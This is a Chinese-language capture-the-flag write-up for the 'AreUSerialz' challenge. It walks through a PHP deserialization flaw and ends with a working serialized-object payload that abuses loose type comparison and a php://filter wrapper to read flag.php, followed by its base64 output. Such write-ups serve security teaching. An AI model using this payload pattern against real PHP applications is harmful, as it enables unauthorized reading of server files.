[网鼎杯 2020 青龙组]AreUSerialz

平台：https://buuoj.cn/

思路

代码审计题，先看传入的参数

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

必须要通过is_valid函数才能够反序列化，那我们再看is_valid函数

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这里规定了字符串的每个字符的ASCII码范围都应该在32-125之间

我们现在去看反序列化，执行__destruct()函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

如果op赋值字符串2会被更改

再看process函数

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

$this->op == “2”是个弱类型比较，可以通过给op赋值数字2的方法绕过

再看read函数

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

题目中包含了flag.php，因此我们可以使用php伪协议

构造payload

<?php
class FileHandler{
	protected $op = 2;
	protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
	protected $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";s:12:"Hello World!";}

生成后发现一个问题，*的ascii码值不在32-125之间，更改一下属性为public

<?php
class FileHandler{
	public $op = 2;
	public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
	public $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

传入参数得到回显，base64解码即可得到flag

[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7OTEzZWM1NTAtYzI3Yi00OTQ5LWE3ZWEtZmE5MmU4MjE3MDAwfSc7Cg==